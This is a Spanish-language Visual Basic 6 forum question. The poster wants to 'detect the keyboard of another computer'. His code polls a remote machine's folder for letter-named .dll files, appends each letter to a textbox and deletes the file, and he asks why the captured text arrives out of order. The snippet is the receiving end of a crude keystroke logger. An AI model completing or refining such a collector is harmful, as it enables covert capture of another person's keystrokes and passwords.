Visual Basic - Abrir archivos por orden (VB6)

Life is soft - evento anual de software empresarial
   
Vista:
Imágen de perfil de leandro

Abrir archivos por orden (VB6)

Publicado por leandro (1 intervención) el 13/02/2015 23:33:41
Hola, necesito que se elimine una cantidad de archivos con un orden determinado y que me muestre los archivos eliminados en un textbox (con su orden), mi idea es hacer un programa que detecte el teclado de otra computadora, pero cuando quiero que me muestre el texto, se muestra desordenado, este es mi codigo:

Private Sub letras_Timer()

FileName = Dir(OtroEquipo + "q.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "q"
Kill (OtroEquipo + "q.dll")
End If

FileName = Dir(OtroEquipo + "w.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "w"
Kill (OtroEquipo + "w.dll")
End If

FileName = Dir(OtroEquipo + "e.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "e"
Kill (OtroEquipo + "e.dll")
End If

FileName = Dir(OtroEquipo + "r.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "r"
Kill (OtroEquipo + "r.dll")
End If

FileName = Dir(OtroEquipo + "t.dll")
If Not FileName = "" Then
Text2.Text = Text2.Text + "t"
Kill (OtroEquipo + "t.dll")
End If

End Sub

asi con todas las letras
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder